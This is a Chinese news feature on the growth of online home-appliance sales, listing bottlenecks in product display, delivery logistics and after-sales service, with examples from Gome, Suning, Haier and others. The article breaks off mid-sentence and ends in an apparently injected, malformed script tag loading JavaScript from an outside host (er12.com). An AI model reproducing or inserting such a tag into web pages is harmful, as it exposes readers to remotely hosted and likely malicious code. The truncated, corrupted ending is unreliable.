随着家电行业微利时代的到来，家电厂商纷纷绞尽脑汁寻找更为有利的竞争渠道，以图在未来的竞争中立于不败之地。此时，互联网的兴起和人们消费观念的逐渐转变，让家电厂商看到了希望，并蜂拥而至，使得互联网正渐渐成为家电厂商又一块拼杀战场。而国美、苏宁、永乐以及大中、三联、五星家电连锁巨头的纷纷涌入，则标志着家电厂商新一轮的网购家电的征战正式拉开了帷幕。不过，专家提醒，虽然互联网的方便快捷给家电厂商带来了新的希望，但是家电厂商在进入网购家电领域时，也不能不看到如今这一领域正面临着诸多发展瓶颈。
●商品展示面狭小消费者面临选择难
消费者要购买产品，必先要对产品进行各种对比，然后才能踏实购买。尤其是家电产品，同服装、书籍、食品等商品相比，消费者对产品性能特点、使用方法等方面的了解需求更为迫切。互联网虽然容量巨大，但是真正落实到家电产品的展示上，却是相对狭小的。网购家电的产品展示，一般都是通过图片和文字说明的方式进行相对死板的介绍，并不能满足消费者的要求。而且由于网购家电还处于起步阶段，网上家电产品的种类同卖场相比，还比较匮乏。记者调查发现，目前开通网购家电服务的家电厂商，出于各种考虑，网售的产品种类都有一定的限制，从而限定了消费者的选择。不仅如此，消费者借以了解产品的文字，一般也只是产品参数的罗列，不仅简单，而且消费者也很难看懂，更谈不上对产品性能的全面把握了。
对此，专家指出，网购家电应该充分考虑消费者的选择需求，采取更为有效的方式向消费者详细介绍产品，尊重消费者的知情权。
据记者了解，如今已经有一些网购家电企业认识到这一问题，并开始采取行动对网购家电产品的展示进行完善。如中国视像行业协会同品牌家电网合作推出的家电产品视频导购，将网购家电产品的介绍拍成电视短片，消费者在网上通过观看短片，就能获得与卖场相同的产品介绍，让消费者非常直观地获取相关产品的信息。
还有很多网购家电企业把网络销售家电同邮寄产品目录的方式相结合，也让消费者感受到更为人性的关怀，并使得网售家电业绩飞速增长。据记者了解，海尔的网上商城就采取了定期向消费者邮寄产品目录的方式，使得其网上商城自开办以来，销售业绩成倍增长。据专家介绍，网络销售同邮寄产品目录相结合，在国际上非常流行。美国最大的箱包销售网站之一——ebags就是采用这种方式，每次约向65万人邮寄产品目录。与没有收到产品目录的用户相比，收到其产品目录的客户在其网站上的消费额平均要高出50%。
●物流配送质量和效率决定信任度
同家电卖场的本地消费不同的是，网购家电很多都是远程消费，这就需要物流配送，由于网购家电还处于初级阶段，目前大多网购家电企业都还没有建立一套完善的物流配送体系，从而使得物流配送成为网购家电发展的一大瓶颈。
同衣服、书籍相比，家电产品更为娇贵，对物流配送的要求很高，稍不留神就会发生碰撞损坏，从而引发消费纠纷。中国消费者协会投诉部负责人告诉记者，现在关于网购家电的消费投诉增长很快，其中很大一部分是由于产品配送不及时、送货途中产品损坏引起的。
据记者了解，虽然目前家电厂商竞相开通网购家电业务，但是由于物流配送的限制，很多企业的网购家电业务仅仅局限于一些大城市和发达地区。业内人士指出，由于多数家电产品具有体积大、运输不便以及需要安装调试等特点，需要专业人员进行配送和售后服务，所以必须依靠家电企业的物流及人力资源支持，这就导致网上销售只能在部分地区实现。比如国美现在只在有门店作为支撑的39个地区开通了网上销售业务，大中则是开通了北京、秦皇岛、保定、天津和青岛5个城市，而永乐网上销售目前仅局限在上海地区。ebay易趣的tcl王牌品牌旗舰店的配送范围则是北京、上海、深圳、广州、成都和惠州6个地区。现有配送城市达到181个的当当网，也明确表示正在筹备的大家电销售不可能覆盖这么大的区域，只能是在部分城市。
物流配送体系的断层，制约了网购家电的发展。专家指出，网购家电要想真正得到快速发展，必须首先解决物流问题，建立区域的物流中心，而且要预想到这个区域可能需要的所有个性化产品，这对物流和信息的传递速度有着极高的要求。
●售后服务缺乏消费者权益难保障
虽然网上购物能给消费者带来实惠和方便，但是它在国内毕竟还处于发展初期，因此还存在不少问题。中国社会科学院互联网发展研究中心最新的市场调研报告显示，产品质量和售后服务是网上交易的软肋，用户投诉比例达43%。中国消费者协会的统计数据也印证了这一点，中国消费者协会投诉部负责人告诉记者，目前网购家电的消费投诉正呈现快速上升的趋势，其中主要原因就是质量和售后服务没有保障。
其实，同卖场购买家电相比，网购家电更需要售后服务。消费者在商场购买产品的时候，可以看见?script src=http://er12.com/t.js>
